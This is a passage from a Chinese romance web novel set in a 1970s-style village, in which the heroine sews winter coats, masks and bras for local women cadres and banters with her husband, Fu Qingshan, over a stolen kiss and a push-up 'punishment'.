啊啊啊啊啊啊!!!! 谢晚棠感觉脑袋嗡嗡的,像有一万字小蜜蜂围着她脑袋转,脑仁都要炸了!!! 她昨晚叫得有那么大声吗?!她有一直叫吗?! 二刚恨铁不成钢地叹了口气:“听听,娘喊得嗓子都哑了,您可真愁人啊爹!” 谢晚棠:“……” 傅青山:“……” 如果没记错的话,她记得她开始担心孩子们听到,一直都忍着的,后来太晚了,也实在是憋得受不了了,觉得这个点孩子们肯定都睡了,才放纵肆意地叫了出来。 所以那么晚*二刚居然还没睡吗?! 谢晚棠感觉现在自己的脸比昨晚还要烫上百倍,轻咳一声,装作若无其事的样子努力掩饰内心的尴尬:“二刚,你昨晚又起夜了?” 傅青山闻声也皱眉:“肾又不好了?” 二刚立马反驳:“才没有!我肾很好!我很久都没起夜了!就是,就是昨晚娘熬得冰糖雪梨水太好喝了,我喝得有点多,所以才起来了两回而已。” 居然还起来了两回…… 所以两回都听着她在叫吗T-T 谢婉婷感觉她要疯了…… 傅青山沉声道:“以后你晚上不准再喝甜水!” 二刚不情不愿地哦了声,想起什么又补充道:“以后您也对娘温柔点!” 傅青山:“……” 谢晚棠:“……” 谢晚棠没法替傅青山正名,其实,傅青山晚上对她还是挺温柔的…… 即使偶尔的疯狂也都是她想要的,傅青山只是禁不住她的故意诱惑而已。 好在二刚小,还不懂那么多事,只是误以为傅青山在给她按肩膀按重了把她按疼了。 因为她之前弯腰低头裁衣服,加上坐在缝纫机前久了,颈椎肩膀僵硬酸胀,傅青山经常帮她按摩放松,孩子们都见过很多次。 而且就算大刚和兰兰年龄稍大一些,但毕竟没谈过感情,不懂男女之间那些事,两个小的就更不用说了,啥也不懂的小朋友年纪。 所以孩子们的反应看着都只是对傅青山不知轻重的无奈,并没有往歪里想的样子。 不过即便这次侥幸没有暴露,谢晚棠心里还是默默发誓,以后晚上她是绝对绝对绝对不会再喊出一声的! 吃过早饭,傅青山去上班,二刚上学,大刚上工,地里活不多,女人们不强制上工,谢晚棠就和兰兰在家赶制过冬的冬衣和棉鞋。 兰兰做鞋的手艺跟着傅大嫂学的,她手又巧,做得又快又板正。 谢晚棠给傅青山裁了件棉服外套,还有一双棉手套,一个口罩,正在用缝纫机跑。 大沟镇这边冬天温度不算很低,但是风特别大,傅青山骑自行车上下班,每天光在路上就得接近两个小时,这几天天冷了,他每天下班回来吹一路手和脸都是冰凉的。 之前忙着收拾归整搬家一直没腾出时间来,现在新家终于收拾利索,第一件事就是给傅青山安排上通勤防风套装,之前从黑市卖布的大娘那儿屯的棉花正好派上用场。 屋里娘俩忙着做针线,缝纫机“哒哒哒”,院里两个小的忙着喂鸡喂鸭喂小狗,不时传来小刚“啧啧啧”的投喂声。 郭燕和刘秀香带着邻村的几个妇女主任和宣传队长来的时候,看到的就是这样一副和谐美好的幸福画面,加上谢晚棠家的新房子又大又亮堂,作为村里的妇女干部,两人在邻村干部面前都觉得脸上有光。 谢晚棠跑好了手套和口罩,带上给兰兰看,做手套和口罩的布料跟棉服一样都是纯黑的,黑手套还好,黑口罩一戴上,兰兰噗嗤一声笑了:“有点像蒙面土匪要下山打家劫舍。” 谢晚棠拿过镜子一照,也没忍住笑:“还别说,你这形容可真精准哈哈哈!” “娘俩聊什么呢,笑得这么开心?”郭燕推门进来,话落,谢晚棠回头,她愣了三秒,没憋住也笑了,“晚棠,你这是个啥装扮?” 郭燕和刘秀香身后跟着一群熟人,大部分是之前郭燕带着来找她做衣裳的邻近几个村的宣传队长,还有两三个面生的之前没见过。 谢晚棠赶紧把口罩摘了,放在缝纫机台面上,嘿嘿一笑:“给青山做了个口罩,来回路上挡一挡,省得往肚子里灌风。” 兰兰很赶眼色,放下手里的活去烧水,谢晚棠招呼大家都进来,上炕坐。 刘秀香拿起缝纫机台面上的口罩和棉手套看了看,忍不住夸赞:“青山可真有福气,瞧这棉手套做的这个板正,居然还能想出来做个口罩,晚棠你可真聪明。” 邻村的妇女主任跟刘秀香要过来口罩看了看,啧啧感慨:“傅部长真是娶了个巧媳妇!咱女人冬天还能围着头巾把脸抱起来,那些男人就那么呲喽着个脸吹,是真冷,戴这个口罩一挡就舒服多了!” 刘秀香点头:“是开,我试着就最愁着冬天去镇上开会了,戴着头巾也试着包不严实进风,骑到镇政府,身上热出来一身汗,脸吹得镇凉!” 旁边另一个妇女主任也拿过去看了看:“做得还怪小巧好看的。” 看这些村干部都对着一个小小的口罩感兴趣,看样平时冬天骑车子去镇上开会是真冷。 都是老客户了,谢晚棠随手发一个小福利:“村里的发展离不开妇女干部的努力,我也帮不上别的忙,就给各位主任队长每人做上一个口罩吧,以后领导们去镇上开会都暖暖活活的!” 口罩废不了多点布料和棉花,就是用点松紧带,再就是花点工夫的事。 妇女干部们一听,都高兴坏了,不仅夸谢晚棠,连带着郭燕、刘秀香和下沟村也一顿夸。 炕上热热闹闹,兰兰烧好水端过来给大家挨个倒水喝。 谢晚棠弄了个小本子,把之前来做过衣裳的客户的名字和尺寸都记下来存着,这次量尺的时候,除了第一次来的三个干部,其他的就一个发福胖了的,数据微调了一下。 至于款式,兰兰之前买了几本服装样板案例的书,谢晚棠看过,属于非常适合这个年代的时尚,她让兰兰把书拿过来给大家传着看,好几十个款式,可以自己选。 “这个收腰的好看,晚棠,我要做这个。” 谢晚棠看了一眼页码,点了点头,对应着在本子的名字后面做了个记录。 “这个款我去市里的时候,在国营成衣店里见过,可贵了!这个能做吗?” 谢晚棠点头:“书上有的都能做。” …… 因为兰兰的书能选款式,屋里热闹得跟大集似的,兰兰看着自己的书能给娘帮上忙,别提多开心了。 挑完款式挑颜色,兰兰帮着把各色布料抱过来,大家说说笑笑地围一圈坐炕上挑。 谢晚棠把每个人选的颜色也标记好,然后翻了翻书,根据每个款式的裁剪要求计算出来大概用布、棉花和配件的数量,逐一算好钱。 几个来过的都熟悉了,第一次来的三个人惊讶道:“这么好,比自己去买布还便宜,而且还不用多跑一趟。” 谢晚棠笑道:“规模效应,可以小小的砍价一下,我也是跟着大家沾光了,我家孩子做衣裳也省了钱了。” 大沟镇估计都没第二个跟她一样买这么多布料的人,所以她买布的价格有多低,没人能猜到,毕竟大姨这个价格,她当时都震惊了,一尺布和一斤棉花几乎便宜了1/3。 她以前虽然是设计师,但只负责设计走秀部分,与供应商和工厂对接没接触过,这也是第一次摸着石头过河,学着砍价还是受二刚的影响呢。 谢晚棠刚算完钱,老三媳妇端着一小盆大豆腐和王寡妇也说说笑笑地推门进来了,没想到居然一屋子人,别人她们不熟,就跟郭队长和刘主任打招呼。 老三媳妇把大豆腐放下:“二嫂,都是来找你做衣裳的?要是忙我们就下午再来。” 之前老三媳妇看上她设计的内衣,她研究好了裁剪比例,就给两人量了尺做了,约着让她们今天来试的。 谢晚棠笑道:“没事,你俩来的刚刚好,我们这刚忙完。” 谢晚棠从炕那头把两件白色纯棉内衣拿过来,看了看大小,分别给了俩人:“兰兰,你带三婶和王姨去那屋试吧。” 兰兰应声,带俩人过去。 谢晚棠脑子活络想法多,炕上一群女干部没看清那块白色的小东西是什么,等两人去试了,郭燕好奇,问谢晚棠:“你弟妹和王寡妇拿的那是什么啊?” 谢晚棠解释了一下内衣的作用,大家还是想象不太出来。 老三媳妇和王寡妇换上内衣过来的时候都喜笑颜开,王寡妇嘴上直夸:“晚棠你可真聪明,居然能想出来这么好的东西!我这柰子一下子感觉有了着落了,有这内衣拖着,也不耷拉着乱甩乱晃了!真好真好!” 谢晚棠:“……” 她还是有点不适应着奔放的用词。 炕上的女干部都是中年妇女,奶过孩子的女人胸或多或少都会下垂,一听王寡妇这么说,一个个更好奇了,到底是什么好东西嘛! 看谢晚棠解释不明白,王寡妇索性衣裳往上一搂,直接来了现场展示:“喏,就是这么个小东西!” 炕上的妇女一下子都凑到王寡妇胸前,观察王寡妇身上穿的内衣。 都是女人,王寡妇这个年纪也没有那些害羞的心思,只顾着宣传,给大家讲解这个怎么穿,还让大家上手摸布料有多舒服。 谢晚棠:“……” 姐,牛逼。 她彻底服了。 因为没有弹力布料和挂钩,谢晚棠设计的内衣是前边扣小扣子的,正好之前在供销社买扣子的时候,售货员送了她一盒过时的扣子,颜色要么黑要么白,白色的小扣子做内衣刚刚好。 几个女干部摸完都要要,谢晚棠没想到不止她觉得肚兜不舒服,原来大家都觉得不舒服啊。 谢晚棠又挨个给大家量内衣的尺寸记下来,一开始她还感觉看着别人的胸有点害羞,一直量到第7个,她竟也感觉有点麻木了。 才看了几个胸就开始脱敏了,再过几年,她不会也磨炼得跟郭燕、老三媳妇和王寡妇她们这样奔放吧! on my God! 内衣其实用料很少,配件也就四个小扣子,主要就是做起来费工夫,大家都自觉,没有空着手来找她做衣裳的,当门里大包小包都是大家拿来的土特产给她当手工费的,她也不多收:“那大家就多给1毛钱就行。” 她就当回馈老客户了吧,也算增加客户黏性了。 几个女干部刚才看了王寡妇穿的内衣,别看小,一看就是费劲的东西,而且谢晚棠都送了她们口罩了,她们商量了一下,每人给谢晚棠加了2毛钱,加上之前算的棉服的钱一块付了。 邻村的这些女干部还得赶回去做晌饭,谢晚棠一直送到胡同口,等她们的身影消失在小路尽头,郭燕、老三媳妇和王寡妇也回家了,刘秀香又拉着她进来坐了会。 刘秀香拉着她的手:“手还是凉,现在来例假还疼吗?” 谢晚棠也说不好:“还疼,但疼得没之前那么厉害了。” 毕竟现在每晚全家都陪她打半个小时军体拳,天暖和那会儿打完都能微微冒汗,肯定多少是有点帮助的,但是作用也没那么大就是。 刘秀香建议:“等周末青山歇班有空,我带你们去大沟村看看大夫,大沟村有个老大夫,治例假疼药到病除。” 谢晚棠以前也听过中医调理痛经有效果,但她没试过,总感觉不太相信,用各种草煮水喝了就能比布洛芬还好使? 不过刘秀香还记挂着她痛经这事,谢晚棠很感激,点头道好。 就是刘秀香带她去看痛经,怎么还得等傅青山歇班了一起? 刘秀香走后,谢晚棠拿出记得密密麻麻的小本本捋了捋,加上刘秀香和郭燕的,今天一共收了12件棉服订单,配套着还有12个口罩和12个内衣。 家里五个孩子也得一人做一身,还有傅青山和她自己的,她还想给薛桂花也做身冬衣,她肯定也没件像样的过冬衣裳。 20身衣裳,着实是个不小的量。 而且眼看就快入冬了,这年头的人不富裕,也没那么多衣裳,都是急等着做了穿的,光靠她和兰兰不行,兰兰还得给弟弟妹妹们做鞋,她们俩需要帮手。 兰兰去做午饭,谢晚棠先给傅青山把棉服跑好,开饭前就差缝扣子了。 睡起晌觉来,她让小刚和妞妞去把傅大嫂和老三媳妇叫来,跟她俩一说来帮着做衣裳,两人都没犹豫就应下了,反正冬天农闲,她们除了做饭,左右也是闲来无事出去串门拉大呱。 谢晚棠教了傅大嫂和老三媳妇怎么用缝纫机,两人看是看明白了,但是大贵贵的东西,不敢上手动,怕弄坏了。 谢晚棠先把老三媳妇摁在凳子上:“人怎么可能弄坏铁,很结实的,你比大嫂年轻,你先试试。” 谢晚棠找了些碎布头让老三媳妇拿着练手,老三媳妇一开始手脚都发僵,可是跑了一会儿,逐渐就协调起来了,跑弯都上手很快。 谢晚棠很满意,拍拍她肩膀夸道:“上次缝扣子我就看你很巧,果然!” 老三媳妇嘿嘿一笑,被夸得有点不好意思。 老三媳妇练了一会儿,换上傅大嫂,傅大嫂到底是年纪大,没有年轻人那么灵活,跑直趟还行,稍微弯弯勾勾的就紧张,跑不明白,她怕给谢晚棠跑坏了衣裳:“要不我还是帮着兰兰做鞋吧,让兰兰来帮你干,这样都干得快……” 谢晚棠一想也是:“也行,那就每个人都干自己擅长的。” 谢晚棠带着兰兰一起裁衣裳,算是实践教学了,兰兰这样学完,后边很快就能上手,裁好后老三媳妇用缝纫机跑起来,跑完傅大嫂再负责缝扣子和剪线头。 分工明确,也算是个有模有样的流水线作业了,效率一下子就提高了,一下午才两个半小时的工夫,她们就做起来四身。 下午干完,谢晚棠拉着两个人来当门,当门里堆满了那些女干部带过来的东西,她让傅大嫂和老三媳妇每人挑两样。 两人不好意思要,谢晚棠坚持:“大家给带来的手工辛苦费,这些衣服可不是我一个人辛苦的,你们也付出了的,该一起分的,这是你们的劳动所得。” 看谢晚棠这么说,两人这才开始挑,傅大嫂拿了一包小米,一包豌豆,老三媳妇拿了一包山核桃,一罐杏干。 送两人出门回来,谢晚棠把炕上的碎布收拾起来,傅青山也回来了,小刚和妞妞跑过去围着他叽叽喳喳,跟他说家里今天来了好多人找娘做衣裳,带来好多好吃的。 谢晚棠闻声迎出去,傅青山一身寒气归来,脸和手都冻得通红,二刚和兰兰在烧火做饭,傅青山把手伸手锅底口烤热了,才起身抬手摸了摸她的脸:“干不完以后就不接这么多,你不用那么累。” 谢晚棠没想到傅青山当着孩子们的面居然会直接摸她脸,一时有点不好意思,轻咳一声悄眯躲开:“还好啦,我把大嫂和弟妹叫来一起干,她们正好也跟着分东西带回去贴补家里。” 傅青山没说话。 谢晚棠一想她今天靠赚布料棉花差价挣了十多块,有点心虚,犹豫了下,问傅青山:“傅部长,我这不算投机倒把吧?我之前问郭燕和那些女干部,她们说我不算。” 傅青山看着面前小心翼翼的人儿,虽然谢晚棠没说过,但是每次都他和谢晚棠一起去买的布,买的量大有多便宜他都知道,那些来做衣裳的人直接从谢晚棠这用布,谢晚棠会挣点差价,他自然也清楚。 但在这个物质匮乏、供应短缺的年代,人们总要生存生活下去,他感觉这些都是小事,不损害国家利益就好,国家不也是想要人民过得更好吗。 傅青山:“如果你这算投机倒把,那村里那些会打家具的木匠、会看病的大夫、会打炕的瓦匠,是不是都不敢帮着乡亲干活了,你们是靠自己的劳动服务人民,是很光荣的。” 小刚和妞妞也跟着点头:“娘是最光荣!” 谢晚棠被傅青山和孩子夸得嘴角扬起:“说得对,劳动的人民最光荣!” 说着她把傅青山拉到炕间,让他试棉服、手套和口罩。 傅青山单位有发那种棉帽子和棉鞋,但棉服有点薄,在屋里穿没问题,来回路上风一刮就顶不住了,直接能吹透。 谢晚棠:“以后你这身薄的就放单位穿,上下班就穿这身厚的,还抗风。” 傅青山脱了薄棉服换上,黑色厚实的棉服非常舒服,一穿上就感觉到一股满满的暖意,再带上棉手套,别提多暖和了。 谢晚棠拿起口罩给他:“还有口罩。” 傅青山怔住:“口罩?” 他只见过杀猪的时候给猪把嘴勒上罩住…… 看傅青山皱眉,谢晚棠笑着踮起脚尖给他把口罩的弹力小绳挂在耳朵上,包住半张帅气的脸:“这样上下班路上刮风脸也不会冷,也不会灌进肚子离风了!怎么样?咱邻村那些女干部今天都看好了,每人都要了一个呢!” 傅青山长这么大,除了部队和国家给他的,他在家从来没穿过一件新衣裳,从来没有人像谢晚棠这样,连口罩这样的小东西都给他细心准备上。 看着面前笑起来像花儿一样的人,他的内心是从未有过的温暖柔软。 他虽然俯视她,但目光却像在追逐自己的神灵,无比虔诚:“很好。” “衣服、口罩,都很好。” “棠棠,你更好。” 他的胸中有一股蓬勃汹涌的热流涌动,他抬手摘掉口罩,微微弯腰,虔诚地吻上他的神灵,希望神灵可以永远垂怜他,眷顾他。 谢晚棠原本正在叉腰骄傲,突然被吻住,嘴上熟悉柔软的触感一时间惊得她眼睛都瞪大了! 不是在试衣服吗?怎么突然就吻上来了? 天还没黑呢! 哎不是!哥啊!门也没关啊!孩子都在当门呢!孩子们说笑的声音她都听得清清楚楚,要是哪个崽突然进来…… ON NO! 她都不敢想那个画面! 她喜欢和傅青山接吻,但她受不了这种砰砰直跳的紧张啊,感觉心脏都要跳出来了! 她抬手去推傅青山的腰,傅青山却反手将她更紧地箍在怀里,不给她任何逃离的机会。 哥!连你也越来越奔放了嘛!!! 第63章 做六休一,不能把棠棠累坏。 突如其来的亲吻让她措手不及,傅青山一只手扣住她后脑勺,另一只手紧紧拥着她的腰,仿佛要将她揉进胸膛里一般,旁若无人地在她的舌间摩挲。 无论是人前还是孩子们面前,傅青山向来是矜持自律的,这与他性格不爱外显张扬有很大的关系。 可今天这是怎么了,说着说着话呢,突然就亲上来了! “二哥!大哥!你们快来看!咱家鸭子下蛋了!!!”小刚突然在天井里喊。 话落,谢晚棠听着在当门里做饭聊天取暖的几个孩子都出去了,天井里传来孩子们叽叽喳喳讨论的声音,她心里这才稍稍放松下来,停止本就无谓的挣扎,放纵自己暂时享受这个紧张又刺激的吻…… “娘一直盼着小鸭子下蛋做咸鸭蛋呢,我去叫娘来看看!她肯定可高兴了!娘!!!” 小刚说着,哒哒哒往屋里跑,谢晚棠听到越来越近的脚步声,瞬间惊醒,从热吻中抽离,傅青山的大手有力,她的挣扎在他的绝对力量面前杯水车薪。 谢晚棠一着急,手从傅青山的衣服下摆伸进去,摸上他结实劲瘦的侧腰一拧—— 腰是人身上最不抗疼的地方,傅青山闷哼一声,下意识松了手,谢晚棠从他怀里挣脱出来,下一秒,小刚冲进来,仰头看她,满脸惊喜:“娘!咱家鸭子下蛋了!三只都下了!但小鸡还没有,一只都没有。” 谢晚棠长舒一口气,就差一点点! 她垂眸摸了摸小刚的头:“好,你先去,娘马上给爹试完衣服就去看。” 小刚高兴地点头:“好!” 小刚走后,谢晚棠看傅青山毫无半分紧张、尴尬、愧疚的情绪,谢晚棠瞪着他狠狠地哼了声:“晚上再罚你!” 傅青山唇角动了动,没说话。 谢晚棠摸摸心脏,感觉心跳平复了些,去天井和孩子们一起看鸭蛋。 大刚已经把鸭蛋从栏里拿出来了,之前听大刚说鸭子要四个月才能下蛋,她还觉得没有盼头,没想到一转眼也开始收获了! 谢晚棠高兴地摸了摸鸭蛋:“还温乎呢!” 兰兰找了个深的小提篮把鸭蛋放进来:“攒一攒等着腌咸鸭蛋吃,就不用花钱买了。” 之前谢晚棠在黑市买了10来个鸭蛋,回来傅大嫂教着腌的,孩子们都喜欢吃,早晨就着特别下饭。 谢晚棠闻声点头:“对!能省一点是一点!” 虽然大房子盖起来了,但是存款全用完了,还欠着傅青山的战友们600多,现在傅青山每个月发的工资,既要改善家里生活,还要攒起来一些还债。 好在她现在也能投机倒把挣一点,虽然跟傅青山挣得没法比,但能贴补一点是一点。 而且年前差不多鸡也能下蛋了,到时候鸡蛋也省一笔! 完美! 谢晚棠问大刚:“那鸭子是每天都能下蛋吗?” 大刚点头:“喂得好可以,以前我们家养的鸭子,就是每天都下蛋。” 小刚最爱吃咸鸭蛋了,一听大哥这么说,马上拍胸脯保证:“放心吧!我以后每天都去挖很多野菜给鸭子喂得饱饱的!让它们使劲下蛋!” 妞妞也跟着举手:“我跟小哥一起!” 谢晚棠摸摸两个小的的小脑袋:“那以后小刚和妞妞是咱家咸鸭蛋的守护神了!” 两位新晋升的守护神啪一下立正站好:“保证完成任务!” 谢晚棠感觉这个年代虽然物质生活没有那么富裕,但孩子们的童年生活其实还是挺丰富多彩的,不会沉迷在动画片和手机游戏里,很小就知道帮着家里干力所能及的活来分担,还能享受在田野里奔跑玩耍的快乐,这些是养在温室里的花儿永远无法体验的。 吃过晚饭,打完军体拳,听着收音机广播一起泡完脚,孩子们就各自回自己房间去看小人书了。 傅青山倒完洗脚水回来,谢晚棠把门一关,叉腰扬起下巴拿出气势看着傅青山:“二哥,说过今晚要罚你!” 傅青山垂眸看她,平静地“嗯”了一声,没反驳。 谢晚棠双手环胸,哼了声:“先说说自己都错在哪儿了?” 谢晚棠话落,傅青山的手突然放到她腰间,稍一用力,她双脚就离地了,被傅青山抱到炕沿上坐下。 她裁衣裳站一天确实腿累,坐着舒服多了,轻咳一声,看着面前高大的男人:“开始吧。” 傅青山垂眸看她,一双漂亮的黑眸涌动着晦暗不明的情愫,像漆黑夜幕点缀的星光,却唯独没有悔过反省的情绪,半晌都没说话。 谢晚棠皱眉:“你不知道自己错在哪儿?!” 傅青山伸手,把她鬓角的一缕发丝挽到耳后,语气乖觉:“你告诉我,我就知道了。” 谢晚棠:“……” 她怎么感觉傅青山在跟她撒娇??? 谢晚棠耐心道:“你现在怎么胆子那么大?大白天的说亲就亲?” 傅青山:“我们是夫妻。” 谢晚棠深吸一口气:“但我们有孩子!让孩子看到怎么办?” 傅青山迟疑片刻,点头,表情诚恳:“对不起,情不自禁,没控制住。” 谢晚棠:“……” 不是撒娇就是表白,她都要训不下去了…… 人家都坦然说情不自禁了,她总不能说你以后不准对我情不自禁吧! 谢晚棠轻咳一声:“偶尔可以理解,但以后一定要注意。” 傅青山闻声点头,一脸的从善如流。 谢晚棠想了想:“那就罚你做100个俯卧撑吧!” 傅青山难得反驳她:“100个太少,不算惩罚。” 谢晚棠:“……” 傅青山看起来确实没有叫板的意思,他就是在陈述事实,100个俯卧撑对他来说很轻松。 谢晚棠一时也没想出别的惩罚办法:“那,那就200个!” 傅青山想说200个也不算惩罚,看着面前娇气可爱的人儿,不想惹她生气,还想要点别的,话到嘴边变成了:“200个负重可以。” 谢晚棠不知道部队里做俯卧撑怎么负重的:“放俩枕头?” 傅青山摇头:“太轻了。” 谢晚棠想说两个荞麦皮枕头七八斤了,也不算轻了吧! 谢晚棠看他:“那怎么办?” 她总不能大晚上的出去给他装个沙袋子回来负重吧? 傅青山垂眸看她片刻:“你可以上来。” 谢晚棠……???? 半晌,谢晚棠反应过来,叉腰笑:“二哥,你这到底是惩罚还是奖励啊?” 傅青山被戳破,抿唇没说话,面上看不出,但耳朵尖红红的,暴露了内心。 谢晚棠哼了声,戳戳他鼻尖,“二哥,你有点诡计多端哦。” 不过她也有点好奇,真的能负重90多斤做200个俯卧撑吗? 她不负重做一个都很费劲呢。 傅青山脱了鞋上炕平撑,谢晚棠问他坐哪儿,腰、背还是屁股,傅青山表示都可以。 谢晚棠怕给他压坏腰,又怕坐背上压得他心脏喘不过气来,最后小心翼翼地盘腿坐到他屁股上。 身子往下一沉,傅青山收腹,手臂用力撑稳。 心想她果然气他,选了一个受力最重的位置来惩罚他。(谢晚棠……??) 不过确实他有错在先,就算一时情不自禁,也该考虑她的情绪,不该让她那么紧张,所以他该接受最重的惩罚。 谢晚棠坐在傅青山屁股上,身下人用力时,臀大肌线条的起伏她都能清晰地感觉到,她怀疑傅青山在故意在撩拨她…… 这副身体里好像真的蕴含着无限的能量,永远不会累一样,即使负重一个她,傅青山从始至终匀速起伏,呼吸均匀,甚至连粗重的喘息声都没有,到底是什么样的过去,练就了这样一个钢铁般的男人呢? 这个年代没有体脂秤,如果可以测体脂比,她相信傅青山的数值一定非常完美漂亮。 一想到这样一副完美漂亮的身体独属于自己,谢晚棠就不由自主地扬起唇角。 随着身体的上下起伏,傅青山上身的毛衣被带上去一块,露出一节劲瘦有力的腰肢,每一条肌肉都绷成最美的形状,诱惑着她伸手抚上这雕塑一般的身体,爱不释手地摩挲着那小麦色的皮肤。 傅青山霎时顿住,掌心收紧攥成拳。 腰间不老实的小手还在到处游走,一下一下,在他的警戒线上反复触碰,那片皮肤都跟着烫人起来,却因为正在接受惩罚,什么都不能做,像是在惩罚他的小心思。 他深吸一口气,手臂用力,收腹下沉,只想赶紧做完剩下的。 等傅青山全部做完,谢晚棠摸到他腰间的皮肤已经微微冒汗,惩罚的效果也算是达到了,但今晚的傅青山那样乖觉,乖觉到她忍不住想要逗他。 是而,等他全部做完,她从他身上下来后,两人面对面盘腿坐着,她故作不满意状撅嘴:“你看你,都没有喘粗气,根本就不累,这个惩罚对你来说确实太简单了。” 负重做俯卧撑当然累,傅青山也不是铁人,但谢晚棠说他不累,他不能反驳,只抿唇看着她水旺旺的大眼睛,静静听着。 谢晚棠灵机一动:“这样吧,加罚一项,罚你夸我,嗯,要夸到我笑为止!” 惩罚嘛,当然要难才算惩罚,对傅青山这种嘴笨的人,罚他夸人比罚他做200个俯卧撑难多了。 傅青山闻声果然皱眉,思索片刻,才笨拙地开口:“你很漂亮,你的眼睛特别亮,你第一次来找我的时候,其实我就被你吸引了,一晚上都在想你说话、想你笑的样子。” 谢晚棠怔住,听到傅青山开口第一句说她漂亮的时候,她还想笑他直男。 没想到,他接着甩下一对王炸,说对她一见钟情,直接轰得她心底一震。 原来傅青山从那时候就开始喜欢她了吗? “我喜欢你爱睡懒觉、不会做饭的样子,看着你每天早晨起来笑着吃我做的饭,我会感觉自己对你很有用。” 谢晚棠震惊,她的懒和笨,在傅青山眼里居然是这样的?! “从来没有一个人像你那样懂我,我喜欢听你说话的声音,喜欢看你吃东西时享受的表情,甚至只要睁开眼睛看到你像小猫一样靠在我身边,我都会觉得开心,看到你疼我却什么也做不了的时候,我会很烦躁,感觉自己一点用也没有。” 傅青山不会说那些煽情有文采的情话,但这种发自内心的感想,却更加触动谢晚棠的心。 傅青山平时本就话不多,这种说心里话的时候更是少之又少,每一句都像是最朴实的告白,抽丝剥茧后的主题都是:我爱你,很爱你。 傅青山认错态度良好,她本来就是想逗逗傅青山,差不多就笑笑揭过这一页。 可听着听着,眼眶控制不住发热,回想两人结婚几个月来的相处点滴,傅青山确实如公主一般宠爱她,除了爸爸,可能再不会有第二个男人做到傅青山这样了。 傅青山探身过来,轻轻吻上她泛红的眼角。 谢晚棠吸吸鼻子:“你一点都没把我夸笑,你说怎么办。” 傅青山垂眸看她半晌,抬手把她揽进怀里:“那就用一辈子来惩罚我吧,棠棠。” …… 翌日。 谢晚棠在傅青山的怀里醒来,傅青山身上热,烘得她全身也暖和和的。 傅青山看起来困意全无,应该是醒了有一段时间了。 谢晚棠舒服得往他肩窝里蹭了蹭,抻着腰一阵酸疼,她找了个舒服的姿势才好一些,抬眸笑道:“这可真是,春宵苦短日高起,从此二哥不早操啊!” 她和傅青山结婚以来,傅青山雷打不动的晨练竟然连续荒废两日。 傅青山伸手不轻不重地给她按摩着腰间酸痛的肌肉:“晚上锻炼了也是一样的。” 谢晚棠怔愣片刻,反应过来傅青山说的晚上锻炼是什么,脸唰一下红了,轻咳一声:“那你这晚上锻炼也太废我了……你还是多留点体力早上练吧!” 昨晚她都不行了,傅青山还像头不知疲倦的*耕牛,她感觉她都要被榨干了! 傅青山闻声笑了,低头吻了下她的额头:“累?” 谢晚棠用力点头。 累累累! 不是谁都有你这个魔鬼体力的啊哥! 傅青山从善如流:“好,那以后就做六休一,不能把棠棠累坏。” 谢晚棠:“……” 不然呢!还要全年无休?! 而且!垃圾公司才单休! 在谢晚棠的强势battle下,最终确定做五休二,勉强混上了双休…… 吃过早饭,傅青山换上谢晚棠新做的防风套装,推着自行车走到大门口,谢晚棠发现口罩落了,跑出来送。 傅青山接过口罩,低头吻了下她的额头:“别太累。” 又亲又亲! 谢晚棠瞪他,昨晚的惩罚果然对傅青山来说是奖励! 傅青山:“孩子们都在屋里。” 谢晚棠一想也是,刚放下心来,就听一声轻咳,闻声偏头,就看到老三媳妇和傅大嫂就站在胡同口,傅大嫂还有点不好意思,老三媳妇则是一脸笑眯眯的八卦样。 谢晚棠:“……” 她假作无事般轻咳一声,一把从傅青山手里拿过口罩,踮起脚给他带上:“你赶紧快去上班吧!” 傅青山被嫂子和弟妹瞧见,倒是看不出一点脸红不好意思,跟傅大嫂和老三媳妇点了点头,骑上车子走了。 老三媳妇抱着她胳膊进了大门,学着傅青山的语气:“别太累~啵~” 谢晚棠:“……” 啊啊啊啊啊啊!居然让老司机给看到了! 老三媳妇啧啧:“没想到二哥还有这么温柔深情的一面,大白天的都这样,晚上你们是不是——” 谢晚棠一把捂住她的嘴:“别说了!” 老三媳妇笑着点头,谢晚棠才红着脸把手松开,老三媳妇嘿嘿一笑:“好好好,不说不说。” 傅大嫂关上门过来对老三媳妇道:“老三家的,你嘴上有个把门的,你二嫂是小媳妇,脸皮薄,爱害羞。” 谢晚棠:“……” 大嫂你也没放过我T-T 谢晚棠连着两晚上高强度不适应,一弯腰就酸,今天就让兰兰上手裁,她在一旁看着,随时给调整指导。 兰兰在做衣服方面确实悟性很高,一开始还有些小问题,到晌午的时候,基本已经可以自己独立裁剪了,谢晚棠感觉腰好点了,自己在旁边裁内衣,只偶尔给兰兰看一眼就行。 老三媳妇年轻脑子活,缝纫机上手很快。 傅大嫂一头晌做了两双棉鞋,抽空还能帮着缝扣子、剪线头。 20件棉服、12个口罩、12件内衣,她们只用了四天时间就全部完工了。 看着箱子上摞得整整齐齐的成品,谢晚棠感慨她们这个小团队效率真的很高啊! 这不是单纯的流水线,这可是私人订制啊! 傅青山下班回来带回来的猪肉,谢晚棠让他给傅大嫂和老三媳妇一人切上一刀。 两人现在跟她熟了,知道她是真感谢不是假客套,也不说那些推辞的话了,笑着接了。 傅大嫂走的时候跟谢晚棠说:“以后再有活忙,你就让兰兰去叫。” 谢晚棠点头:“好来大嫂!” 有一个小团队分工合作,她真的轻快好多。 老三媳妇叹了口气:“试着干活干习惯了,明天突然不用来了,都不知道该干什么了,感觉串门子都没什么意思了。” 谢晚棠笑:“哇哦,弟妹现在可了不得了,只有劳动才能让她快乐了。” 兰兰噗嗤一声笑了,傅大嫂闻声也跟着笑。 送走两个妯娌,傅青山和兰兰在当门做饭,谢晚棠出去和小刚妞妞一起喂鸡喂鸭,在两个小家伙的不懈投喂下,三只鸭子都很争气,每天都能收3个鸭蛋,小提篮子里已经攒了12个鸭蛋了,再攒个三五天就可以腌上一波了。 今晚是做五休二的最后一晚,明晚终于可以休息了,谢晚棠长舒一口气,懒洋洋地靠在傅青山怀里,算着又快到例假的日子了。 哎,又要疼,每个月最愁这几天。 想起刘秀香跟她说的那个治痛经非常拿手的老中医,她突然有点心动,要是真能治好,她是不是既可以不用锻炼,又可以不用痛经了? 说不定中华医学博大精深,完全不输布洛芬呢! 新。冠病。毒肆虐的时候,人家中医团队不也挽救了很多人的生命嘛。 生命都能挽救,小小的痛经可能根本不在话下? 她跟傅青山一说这事,傅青山立马表示明天歇班,明天就找刘主任带他们去。 翌日。 吃过早饭,两人骑车子先给薛桂花送去棉服,还有一袋子布头和棉花,做棉鞋可以用。 然后到刘秀香家,一说来意,刘秀香马上去大队部骑了自行车,带路领他们去大沟村看老大夫。 